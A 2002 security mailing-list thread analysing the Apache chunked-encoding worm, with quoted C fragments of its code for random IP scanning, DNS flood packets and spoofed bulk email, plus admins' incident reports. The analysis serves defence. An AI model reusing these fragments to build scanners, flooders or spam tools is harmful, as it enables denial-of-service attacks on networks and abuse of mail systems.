Re: Apache Worm / ddos

From: Dave Mitchell (dave@jnsnet.com)
Date: 07/11/02


Date: Thu, 11 Jul 2002 02:41:17 -0600
From: Dave Mitchell <dave@jnsnet.com>
To: bochmann@FreiNet.de

Hi,
  This is in response to how the worm floods. Being a network
guy by trade, I can't guarantee that this is 100% accurate since
I went over it rather quickly, but I trust my C knowledge enough.
Feel free to correct me for any errors. :)

Once installed, it acts as a server listening on UDP 2001. It then
begins to scan hosts on your network by randomizing the host and
subnet bytes of your IP address. Besides flooding, it looks for other
exploitable hosts in which to install itself upon.

#ifdef SCAN
if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
          char srv[256];
            if (d == 255) {
              if (c == 255) {
                   a=classes[rand()%(sizeof classes)];
                   b=rand();
                   c=0;
               }
                   else c++;
                   d=0;
            }
                        else d++;
                   memset(srv,0,256);
                   sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
                   clients[n].ext=time(NULL);
                   atcp_sync_connect(&clients[n],srv,SCANPORT);
                   p++;
}

It then begins flooding the targets with TCP and UDP. This code also has
RAW socket support besides using standard SOCK_STREAM and SOCK_DGRAM.
and even more fun, it has DNS flooding support. Lastly it has an email spoofing
tool built in that spoofs from random @aol.com and a "TO:" that it
strips out from the HTTP GET. The DNS functions appear to both
flood and grab a valid MX record in order to flood it with mail.

memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=rp->target;
in.sin_family=AF_INET;
in.sin_port=htons(53);
dnsp.rd=1;
dnsp.tc=0;
dnsp.aa=0;
dnsp.opcode=0;
dnsp.qr=0;
dnsp.rcode=0;
dnsp.unused=0;
dnsp.pr=0;
dnsp.ra=0;
dnsp.que_num=256;
dnsp.rep_num=0;
dnsp.num_rr=0;
dnsp.num_rrsup=0;
convo=buf+sizeof(struct df_rec);
convo[rp->h.len]=0;
decrypt(convo,rp->h.len);

for (i=0,startm=0;i<=rp->h.len;i++) if (convo[i] == '.' || convo[i] == 0) {
     convo[i]=0;
     sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm);
     len+=1+strlen(convo+startm);
     startm=i+1;
}

atcp_sendmsg(&srv,"From: %s\n",from);
atcp_sendmsg(&srv,"Message-ID: <%x.%x.%x@aol.com>\n",rand(),rand(),rand());
atcp_sendmsg(&srv,"Date: %s",ctime(&tm));
atcp_sendmsg(&srv,"Subject: %s\n",subject);
atcp_sendmsg(&srv,"To: %s\n",buf);
atcp_sendmsg(&srv,"Mime-Version: 1.0\n");
atcp_sendmsg(&srv,"Content-Type: text/html\n\n");
atcp_sendmsg(&srv,"%s\r\n.\r\n",data);
break;

It grabs the fields that it puts in an email from the HTTP GET. It appears to just
be a bogus message to fill up outbound mail queues and won't be denied since it originates
from that network.

The worm will not attempt to contact RFC1918 space, and will also not speak
with hosts that it finds a .gov in the HTML from the GET /.

-dave

On Mon, Jul 08, 2002 at 06:08:56PM +0200, Alexander Bochmann wrote:
> Hi,
>
> ...on Sun, Jul 07, 2002 at 11:14:56PM +0200, Thorsten Schroeder wrote:
>
> > today three of our apache webserver were compromised using the vulnerability
> > found in the chucked encoding implementation of the Apache [..]
> > I noticed an increasing traffic until no bandwidth was available.
> > i tried to reconstruct/analyse this but it's totally unclear, why this
> > degenerates in a (distributed?) denial of service against one of our
> > (compromised) servers.
>
> We have seen the same udp dst 2001 flood on friday with
> a customer machine that had also been compromised by the
> worm.
>
> > in the /tmp directories is the binary of the worm and it's uuencoded binary:
> > -rwxr-xr-x 1 nobody wheel 51594 Jul 7 13:47 .a
> > -rw-r--r-- 1 nobody wheel 71105 Jul 7 13:47 .uua
>
> Same here.
>
> While I had no close look at the published source code,
> a strings on the .a file reveals some data that may point
> to a ddos tool, namely stuff like
>
> Cannot packet local networks
> Udp flooding target
> Tcp flooding target
> Sending packets to target
> Dns flooding target
>
> (but as the strings are also in the source I assume it
> is the same program)
>
> > Thousands of different (spoofed) ip-adresses as source for upd-packets from
> > port 2001 to the compromised system port 2001.
>
> I have seen this too. The flood does not stop when the compromised
> machine is taken down (but some hours later; the filter on their
> router has stopped counting at 34005105 matches).
> Didn't have time to go searching if the source addresses were
> obviously spoofed, but I have some tcpdump traces to check up
> later.
>
> The customer also had a complaint from an ISP in Moldavia that
> the compromised machine had flooded a machine there before it
> was shut down.
>
> Alex.
>
>
> ----------------------------------------------------------------------------
> This list is provided by the SecurityFocus ARIS analyzer service.
> For more information on this free incident handling, management
> and tracking system please see: http://aris.securityfocus.com
>

-- 
--------------------------
Dave Mitchell
Network Engineer, ViaWest
dmitchell@viawest.net
(720) 891-1045
--------------------------

---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com



Relevant Pages